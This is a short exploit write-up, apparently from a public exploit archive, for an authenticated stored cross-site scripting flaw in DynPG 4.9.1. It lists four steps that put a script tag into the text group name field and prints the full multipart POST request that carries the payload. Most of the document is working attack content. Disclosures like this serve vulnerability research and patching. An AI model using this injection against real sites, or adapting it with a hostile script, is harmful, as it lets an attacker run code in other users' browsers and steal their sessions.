# Exploit Title: DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated) # Date: 2020-10-09 # Exploit Author: Enes Özeser # Vendor Homepage: https://dynpg.org/ # Version: 4.9.1 # Tested on: Windows & XAMPP ==> Tutorial <== 1- Login to admin panel. 2- Click on the "Texts" button. 3- Write XSS payload into the Groupname. 4- Press "Create" button. XSS Payload ==> <script>alert("XSS");</script> ==> HTTP Request <== POST /index.php?show=4 HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------342819783638885794661955465553 Content-Length: 725 Origin: http://(HOST) Connection: close Referer: http://(HOST)/index.php?show=4 Cookie: PHPSESSID=bsbas234jfvvdasdasd1i Upgrade-Insecure-Requests: 1 -----------------------------342819783638885794661955465553 Content-Disposition: form-data; name="NEW_GROUP_NAME" <script>alert("XSS");</script> -----------------------------342819783638885794661955465553 Content-Disposition: form-data; name="GROUP_ID" 0 -----------------------------342819783638885794661955465553 Content-Disposition: form-data; name="GRP_SUBMIT" Create -----------------------------342819783638885794661955465553 Content-Disposition: form-data; name="GRP_ACTION" new_grp -----------------------------342819783638885794661955465553 Content-Disposition: form-data; name="dpg_csrf_token" 3F16478C29BED20AA73F1D25CB23F471 -----------------------------342819783638885794661955465553--